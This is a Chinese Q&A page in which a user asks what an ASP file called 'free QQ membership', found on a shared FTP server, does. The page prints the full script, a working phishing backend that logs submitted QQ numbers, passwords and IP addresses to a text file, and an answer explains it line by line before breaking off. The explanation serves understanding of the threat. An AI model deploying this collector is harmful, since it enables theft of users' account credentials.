谁能帮我看看这段ASP是干什么的?

来源:百度知道 编辑:UC知道 时间:2024/05/31 20:20:45
今天我在我的共享FTP上面看到有一个ASP代码,叫做免费QQ会员。ASP代码具体如下:
<%
strLogFile="aaaaaaaaaaa.txt"

QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")

if QQNumber="" or QQPassWord="" then
response.write "pzQQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing

response.write "发送成功!"
%>

上面

<%
strLogFile="aaaaaaaaaaa.txt" ------将获取的信息写到这个文件里

QQNumber=request("QQNumber") ----获取QQ号码
QQPassWord=request("QQPassWord") --获取QQ密码
QQclub=request("QQclub") ---获取QQ娱乐(具体不清楚)
QQip=request("QQip") -----获取QQ号码的IP地址

if QQNumber="" or QQPassWord="" then ---如果号码和密码为空
response.write "pzQQ" -----输入“pzQQ”
response.end --------结束页面
End If ----------结束判断
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST") --------显示QQ号码的相关信息
StrLogText=StrLogText&")----"&date&" "&time -写入QQ信息到变量中

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText) --写入QQ信